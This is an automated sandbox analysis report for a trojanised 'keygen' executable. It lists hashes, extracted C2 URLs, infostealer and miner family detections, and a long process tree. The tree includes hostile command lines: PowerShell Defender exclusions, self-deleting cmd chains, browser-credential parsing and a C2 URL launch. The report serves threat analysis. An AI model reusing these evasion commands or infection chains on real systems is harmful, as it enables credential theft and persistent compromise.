Overview

overview

10

Static

static

ﱞﱞﱞ�...ﱞﱞ

windows10_x64

10

ﱞﱞﱞ�...ฺฺ

windows10_x64

10

ﱞﱞﱞ�...ﱞﱞ

windows10_x64

10

ﱞﱞﱞ�...ﱞﱞ

windows10_x64

10

ﱞﱞﱞ�...ﱞﱞ

windows7_x64

10

Analysis

  • max time kernel
    60s
  • max time network
    299s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    26-03-2021 08:55

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    S.A.D.Formatwandler.360.keygen.by.Lz0.exe

  • Size

    5.2MB

  • MD5

    d6b33a9f8b1600caa8b7ac88240e59e1

  • SHA1

    19007187f24b11f922ed5ad8717c9e06f6452654

  • SHA256

    3ee83cca83729705feabd39c7fd07a9f9f9de6a1847eea6f7ac645a60a643f85

  • SHA512

    b8df0dbe55c0ed32639bab7af0a38077338b36fb4e4832d49e542cac9838f6359d3d0764cba4fcaa90ebb486e27efa8a461fe0fe637a94d0fa626a63847fcc04

Score
10/10
azorultgluptebametasploitredlinevidarxmrigbackdoordiscoverydropperevasioninfostealerloaderminerpersistencespywarestealerthemidatrojan

Malware Config

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

    trojaninfostealerazorult
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba Payload 3 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

    evasion
  • XMRig Miner Payload 4 IoCs
    miner
  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 37 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 21 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • themida 1 IoCs

    Detects Themida, Advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks for any installed AV software in registry 1 TTPs 53 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 7 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Delays execution with timeout.exe 4 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • GoLang User-Agent 2 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Kills process with taskkill 3 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 1 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 3 IoCs
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 63 IoCs
  • Suspicious use of FindShellTrayWindow 39 IoCs
  • Suspicious use of SetWindowsHookEx 21 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\S.A.D.Formatwandler.360.keygen.by.Lz0.exe
    "C:\Users\Admin\AppData\Local\Temp\S.A.D.Formatwandler.360.keygen.by.Lz0.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:540
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1712
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
        keygen-pr.exe -p83fsase3Ge
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2312
        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1172
          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
            C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
            5⤵
              PID:3780
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
          keygen-step-1.exe
          3⤵
          • Executes dropped EXE
          PID:1936
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
          keygen-step-3.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1308
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3960
            • C:\Windows\SysWOW64\PING.EXE
              ping 1.1.1.1 -n 1 -w 3000
              5⤵
              • Runs ping.exe
              PID:2688
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
          keygen-step-4.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2460
          • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe
            "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4028
            • C:\Users\Admin\AppData\Local\Temp\O4XHX1L3N1\multitimer.exe
              "C:\Users\Admin\AppData\Local\Temp\O4XHX1L3N1\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
              5⤵
              • Executes dropped EXE
              • Drops file in Windows directory
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2692
              • C:\Users\Admin\AppData\Local\Temp\O4XHX1L3N1\multitimer.exe
                "C:\Users\Admin\AppData\Local\Temp\O4XHX1L3N1\multitimer.exe" 1 3.1616748980.605da1b4a0f12 101
                6⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious use of WriteProcessMemory
                PID:4532
                • C:\Users\Admin\AppData\Local\Temp\O4XHX1L3N1\multitimer.exe
                  "C:\Users\Admin\AppData\Local\Temp\O4XHX1L3N1\multitimer.exe" 2 3.1616748980.605da1b4a0f12
                  7⤵
                  • Executes dropped EXE
                  • Checks for any installed AV software in registry
                  • Maps connected drives based on registry
                  • Enumerates system info in registry
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4796
                  • C:\Users\Admin\AppData\Local\Temp\mlk5glgy3pi\4yjjh4vznib.exe
                    "C:\Users\Admin\AppData\Local\Temp\mlk5glgy3pi\4yjjh4vznib.exe" /VERYSILENT
                    8⤵
                    • Executes dropped EXE
                    • Suspicious use of SetWindowsHookEx
                    PID:4624
                    • C:\Users\Admin\AppData\Local\Temp\is-H1TOE.tmp\4yjjh4vznib.tmp
                      "C:\Users\Admin\AppData\Local\Temp\is-H1TOE.tmp\4yjjh4vznib.tmp" /SL5="$10302,2592217,780800,C:\Users\Admin\AppData\Local\Temp\mlk5glgy3pi\4yjjh4vznib.exe" /VERYSILENT
                      9⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Drops file in Program Files directory
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SetWindowsHookEx
                      PID:5100
                      • C:\Users\Admin\AppData\Local\Temp\is-KFOBP.tmp\winlthsth.exe
                        "C:\Users\Admin\AppData\Local\Temp\is-KFOBP.tmp\winlthsth.exe"
                        10⤵
                        • Executes dropped EXE
                        • Suspicious use of SetWindowsHookEx
                        PID:5820
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 5820 -s 816
                          11⤵
                          • Drops file in Windows directory
                          • Program crash
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4864
                  • C:\Users\Admin\AppData\Local\Temp\0trjnhd5ac4\Setup3310.exe
                    "C:\Users\Admin\AppData\Local\Temp\0trjnhd5ac4\Setup3310.exe" /Verysilent /subid=577
                    8⤵
                    • Executes dropped EXE
                    • Suspicious use of SetWindowsHookEx
                    PID:4484
                    • C:\Users\Admin\AppData\Local\Temp\is-7MJD9.tmp\Setup3310.tmp
                      "C:\Users\Admin\AppData\Local\Temp\is-7MJD9.tmp\Setup3310.tmp" /SL5="$B02EA,138429,56832,C:\Users\Admin\AppData\Local\Temp\0trjnhd5ac4\Setup3310.exe" /Verysilent /subid=577
                      9⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SetWindowsHookEx
                      PID:4632
                      • C:\Users\Admin\AppData\Local\Temp\is-289SI.tmp\Setup.exe
                        "C:\Users\Admin\AppData\Local\Temp\is-289SI.tmp\Setup.exe" /Verysilent
                        10⤵
                        • Executes dropped EXE
                        • Drops file in Program Files directory
                        • Suspicious use of SetWindowsHookEx
                        PID:4844
                        • C:\Program Files (x86)\VR\Versium Research\hjjgaa.exe
                          "C:\Program Files (x86)\VR\Versium Research\hjjgaa.exe"
                          11⤵
                            PID:1244
                            • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                              C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                              12⤵
                                PID:5984
                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                12⤵
                                  PID:5524
                              • C:\Program Files (x86)\VR\Versium Research\LabPicV3.exe
                                "C:\Program Files (x86)\VR\Versium Research\LabPicV3.exe"
                                11⤵
                                  PID:1228
                                  • C:\Users\Admin\AppData\Local\Temp\is-CJFMP.tmp\LabPicV3.tmp
                                    "C:\Users\Admin\AppData\Local\Temp\is-CJFMP.tmp\LabPicV3.tmp" /SL5="$203AE,239334,155648,C:\Program Files (x86)\VR\Versium Research\LabPicV3.exe"
                                    12⤵
                                      PID:3304
                                      • C:\Users\Admin\AppData\Local\Temp\is-EVANL.tmp\ppppppfy.exe
                                        "C:\Users\Admin\AppData\Local\Temp\is-EVANL.tmp\ppppppfy.exe" /S /UID=lab214
                                        13⤵
                                          PID:6052
                                          • C:\Program Files\Windows Portable Devices\SLPQSWWXQX\prolab.exe
                                            "C:\Program Files\Windows Portable Devices\SLPQSWWXQX\prolab.exe" /VERYSILENT
                                            14⤵
                                              PID:4936
                                              • C:\Users\Admin\AppData\Local\Temp\is-COE0G.tmp\prolab.tmp
                                                "C:\Users\Admin\AppData\Local\Temp\is-COE0G.tmp\prolab.tmp" /SL5="$204EA,575243,216576,C:\Program Files\Windows Portable Devices\SLPQSWWXQX\prolab.exe" /VERYSILENT
                                                15⤵
                                                  PID:4576
                                              • C:\Users\Admin\AppData\Local\Temp\c2-0c863-eac-ef19a-25a9945a469b8\Kidosaseba.exe
                                                "C:\Users\Admin\AppData\Local\Temp\c2-0c863-eac-ef19a-25a9945a469b8\Kidosaseba.exe"
                                                14⤵
                                                  PID:4588
                                                • C:\Users\Admin\AppData\Local\Temp\1f-318e4-c45-723b9-aef7a4cd33e07\Wesatidoji.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\1f-318e4-c45-723b9-aef7a4cd33e07\Wesatidoji.exe"
                                                  14⤵
                                                    PID:936
                                            • C:\Program Files (x86)\VR\Versium Research\jg7_7wjg.exe
                                              "C:\Program Files (x86)\VR\Versium Research\jg7_7wjg.exe"
                                              11⤵
                                                PID:2632
                                              • C:\Program Files (x86)\VR\Versium Research\RunWW.exe
                                                "C:\Program Files (x86)\VR\Versium Research\RunWW.exe"
                                                11⤵
                                                  PID:5676
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c taskkill /im RunWW.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\VR\Versium Research\RunWW.exe" & del C:\ProgramData\*.dll & exit
                                                    12⤵
                                                      PID:5912
                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                        taskkill /im RunWW.exe /f
                                                        13⤵
                                                        • Kills process with taskkill
                                                        PID:5040
                                                      • C:\Windows\SysWOW64\timeout.exe
                                                        timeout /t 6
                                                        13⤵
                                                        • Delays execution with timeout.exe
                                                        PID:6884
                                                  • C:\Program Files (x86)\VR\Versium Research\customer5.exe
                                                    "C:\Program Files (x86)\VR\Versium Research\customer5.exe"
                                                    11⤵
                                                      PID:5228
                                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"
                                                        12⤵
                                                          PID:3428
                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exe
                                                            parse.exe -f json -b edge
                                                            13⤵
                                                              PID:6276
                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exe
                                                              parse.exe -f json -b chrome
                                                              13⤵
                                                                PID:4908
                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exe
                                                                parse.exe -f json -b firefox
                                                                13⤵
                                                                  PID:7104
                                                            • C:\Program Files (x86)\VR\Versium Research\Z7pGMA6DzfieVAOXDEtkk7kL.exe
                                                              "C:\Program Files (x86)\VR\Versium Research\Z7pGMA6DzfieVAOXDEtkk7kL.exe"
                                                              11⤵
                                                                PID:1524
                                                                • C:\Users\Admin\Documents\dpM0PLybHThhqLFMXHCbWN7e.exe
                                                                  "C:\Users\Admin\Documents\dpM0PLybHThhqLFMXHCbWN7e.exe"
                                                                  12⤵
                                                                    PID:5936
                                                                    • C:\Windows\system32\WerFault.exe
                                                                      C:\Windows\system32\WerFault.exe -u -p 5936 -s 1504
                                                                      13⤵
                                                                      • Program crash
                                                                      PID:3776
                                                                • C:\Program Files (x86)\VR\Versium Research\lylal220.exe
                                                                  "C:\Program Files (x86)\VR\Versium Research\lylal220.exe"
                                                                  11⤵
                                                                    PID:5904
                                                                    • C:\Users\Admin\AppData\Local\Temp\is-2M0KD.tmp\lylal220.tmp
                                                                      "C:\Users\Admin\AppData\Local\Temp\is-2M0KD.tmp\lylal220.tmp" /SL5="$203DA,491750,408064,C:\Program Files (x86)\VR\Versium Research\lylal220.exe"
                                                                      12⤵
                                                                        PID:4668
                                                                        • C:\Users\Admin\AppData\Local\Temp\is-NP4Q2.tmp\Microsoft.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\is-NP4Q2.tmp\Microsoft.exe" /S /UID=lylal220
                                                                          13⤵
                                                                            PID:5780
                                                                            • C:\Program Files\Windows Photo Viewer\QWOWFDXWYO\irecord.exe
                                                                              "C:\Program Files\Windows Photo Viewer\QWOWFDXWYO\irecord.exe" /VERYSILENT
                                                                              14⤵
                                                                                PID:5496
                                                                                • C:\Users\Admin\AppData\Local\Temp\is-COE0F.tmp\irecord.tmp
                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-COE0F.tmp\irecord.tmp" /SL5="$204CC,6265333,408064,C:\Program Files\Windows Photo Viewer\QWOWFDXWYO\irecord.exe" /VERYSILENT
                                                                                  15⤵
                                                                                    PID:5872
                                                                                • C:\Users\Admin\AppData\Local\Temp\25-02fb5-17d-f6fb7-b666a9261683f\Jibizhovuwe.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\25-02fb5-17d-f6fb7-b666a9261683f\Jibizhovuwe.exe"
                                                                                  14⤵
                                                                                    PID:5520
                                                                                  • C:\Users\Admin\AppData\Local\Temp\b9-e4100-f36-6b197-cc568c2eae34f\Popynyshali.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\b9-e4100-f36-6b197-cc568c2eae34f\Popynyshali.exe"
                                                                                    14⤵
                                                                                      PID:5220
                                                                              • C:\Program Files (x86)\VR\Versium Research\YiXjaRalM3qf.exe
                                                                                "C:\Program Files (x86)\VR\Versium Research\YiXjaRalM3qf.exe"
                                                                                11⤵
                                                                                  PID:4600
                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                    12⤵
                                                                                      PID:5268
                                                                                  • C:\Program Files (x86)\VR\Versium Research\RmSetp.exe
                                                                                    "C:\Program Files (x86)\VR\Versium Research\RmSetp.exe"
                                                                                    11⤵
                                                                                      PID:4708
                                                                                      • C:\ProgramData\925725.exe
                                                                                        "C:\ProgramData\925725.exe"
                                                                                        12⤵
                                                                                          PID:4236
                                                                                        • C:\ProgramData\6880139.exe
                                                                                          "C:\ProgramData\6880139.exe"
                                                                                          12⤵
                                                                                            PID:2748
                                                                                  • C:\Users\Admin\AppData\Local\Temp\0cwcej1zcqi\vict.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\0cwcej1zcqi\vict.exe" /VERYSILENT /id=535
                                                                                    8⤵
                                                                                    • Executes dropped EXE
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    PID:4712
                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-34FLK.tmp\vict.tmp
                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-34FLK.tmp\vict.tmp" /SL5="$10314,870426,780800,C:\Users\Admin\AppData\Local\Temp\0cwcej1zcqi\vict.exe" /VERYSILENT /id=535
                                                                                      9⤵
                                                                                      • Executes dropped EXE
                                                                                      • Loads dropped DLL
                                                                                      • Drops file in Program Files directory
                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      PID:4860
                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-44MOV.tmp\winhost.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-44MOV.tmp\winhost.exe" 535
                                                                                        10⤵
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                        PID:5768
                                                                                  • C:\Users\Admin\AppData\Local\Temp\xh41zka1vty\vpn.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\xh41zka1vty\vpn.exe" /silent /subid=482
                                                                                    8⤵
                                                                                    • Executes dropped EXE
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    PID:4988
                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-JQ650.tmp\vpn.tmp
                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-JQ650.tmp\vpn.tmp" /SL5="$40356,15170975,270336,C:\Users\Admin\AppData\Local\Temp\xh41zka1vty\vpn.exe" /silent /subid=482
                                                                                      9⤵
                                                                                      • Executes dropped EXE
                                                                                      • Loads dropped DLL
                                                                                      • Drops file in Program Files directory
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      PID:4692
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
                                                                                        10⤵
                                                                                          PID:4240
                                                                                          • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                                            tapinstall.exe remove tap0901
                                                                                            11⤵
                                                                                              PID:5032
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
                                                                                            10⤵
                                                                                              PID:6548
                                                                                              • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                                                tapinstall.exe install OemVista.inf tap0901
                                                                                                11⤵
                                                                                                  PID:6956
                                                                                              • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
                                                                                                10⤵
                                                                                                  PID:6796
                                                                                                • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                  "C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
                                                                                                  10⤵
                                                                                                    PID:6980
                                                                                              • C:\Users\Admin\AppData\Local\Temp\iziydfpuuhp\AwesomePoolU1.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\iziydfpuuhp\AwesomePoolU1.exe"
                                                                                                8⤵
                                                                                                • Executes dropped EXE
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:4952
                                                                                              • C:\Users\Admin\AppData\Local\Temp\zxi4kbctvrt\IBInstaller_97039.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\zxi4kbctvrt\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                                                                8⤵
                                                                                                • Executes dropped EXE
                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                PID:4884
                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-59CSU.tmp\IBInstaller_97039.tmp
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-59CSU.tmp\IBInstaller_97039.tmp" /SL5="$104A8,9918015,721408,C:\Users\Admin\AppData\Local\Temp\zxi4kbctvrt\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                                                                  9⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Loads dropped DLL
                                                                                                  • Drops file in Program Files directory
                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                  PID:5204
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    "cmd.exe" /c start http://italyfabricone.club/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039
                                                                                                    10⤵
                                                                                                      PID:5292
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-FC606.tmp\{app}\chrome_proxy.exe
                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-FC606.tmp\{app}\chrome_proxy.exe"
                                                                                                      10⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                      PID:5312
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        "C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-FC606.tmp\{app}\chrome_proxy.exe"
                                                                                                        11⤵
                                                                                                          PID:2824
                                                                                                          • C:\Windows\SysWOW64\PING.EXE
                                                                                                            ping localhost -n 4
                                                                                                            12⤵
                                                                                                            • Runs ping.exe
                                                                                                            PID:5076
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\4avy5ueb2gz\1vnf4f2q0j2.exe
                                                                                                    "C:\Users\Admin\AppData\Local\Temp\4avy5ueb2gz\1vnf4f2q0j2.exe" /quiet SILENT=1 AF=756
                                                                                                    8⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Loads dropped DLL
                                                                                                    • Modifies system certificate store
                                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                                    PID:5140
                                                                                                    • C:\Windows\SysWOW64\msiexec.exe
                                                                                                      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=756 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\4avy5ueb2gz\1vnf4f2q0j2.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\4avy5ueb2gz\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1616493487 /quiet SILENT=1 AF=756 " AF="756" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912"
                                                                                                      9⤵
                                                                                                        PID:5192
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\nmfbuqthaq4\l5zwp1igjaj.exe
                                                                                                      "C:\Users\Admin\AppData\Local\Temp\nmfbuqthaq4\l5zwp1igjaj.exe" /1-610
                                                                                                      8⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                      PID:5280
                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Throbbing-Butterfly'
                                                                                                        9⤵
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:5368
                                                                                                      • C:\Program Files (x86)\Throbbing-Butterfly\7za.exe
                                                                                                        "C:\Program Files (x86)\Throbbing-Butterfly\7za.exe" e -p154.61.71.13 winamp.7z
                                                                                                        9⤵
                                                                                                          PID:5016
                                                                                                        • C:\Program Files (x86)\Throbbing-Butterfly\l5zwp1igjaj.exe
                                                                                                          "C:\Program Files (x86)\Throbbing-Butterfly\l5zwp1igjaj.exe" /1-610
                                                                                                          9⤵
                                                                                                            PID:4384
                                                                                                            • C:\Program Files (x86)\Throbbing-Butterfly\l5zwp1igjaj.exe
                                                                                                              "C:\Program Files (x86)\Throbbing-Butterfly\l5zwp1igjaj.exe" /1-610
                                                                                                              10⤵
                                                                                                                PID:5580
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\bc5xqrkof0r\dgve1uw2iu0.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\bc5xqrkof0r\dgve1uw2iu0.exe" /ustwo INSTALL
                                                                                                            8⤵
                                                                                                            • Executes dropped EXE
                                                                                                            PID:4636
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c taskkill /im "dgve1uw2iu0.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\bc5xqrkof0r\dgve1uw2iu0.exe" & exit
                                                                                                              9⤵
                                                                                                                PID:4592
                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                  taskkill /im "dgve1uw2iu0.exe" /f
                                                                                                                  10⤵
                                                                                                                  • Kills process with taskkill
                                                                                                                  PID:5020
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\vjvp5mqjtpm\app.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\vjvp5mqjtpm\app.exe" /8-23
                                                                                                              8⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                              PID:5432
                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Morning-Sound'
                                                                                                                9⤵
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:5472
                                                                                                              • C:\Program Files (x86)\Morning-Sound\7za.exe
                                                                                                                "C:\Program Files (x86)\Morning-Sound\7za.exe" e -p154.61.71.13 winamp.7z
                                                                                                                9⤵
                                                                                                                  PID:4472
                                                                                                                • C:\Program Files (x86)\Morning-Sound\app.exe
                                                                                                                  "C:\Program Files (x86)\Morning-Sound\app.exe" /8-23
                                                                                                                  9⤵
                                                                                                                    PID:5212
                                                                                                                    • C:\Program Files (x86)\Morning-Sound\app.exe
                                                                                                                      "C:\Program Files (x86)\Morning-Sound\app.exe" /8-23
                                                                                                                      10⤵
                                                                                                                        PID:5764
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\07V2GIT7S0\setups.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\07V2GIT7S0\setups.exe" ll
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                              PID:2192
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-B62JB.tmp\setups.tmp
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-B62JB.tmp\setups.tmp" /SL5="$80072,383902,148480,C:\Users\Admin\AppData\Local\Temp\07V2GIT7S0\setups.exe" ll
                                                                                                                6⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Checks computer location settings
                                                                                                                • Loads dropped DLL
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                PID:2608
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe
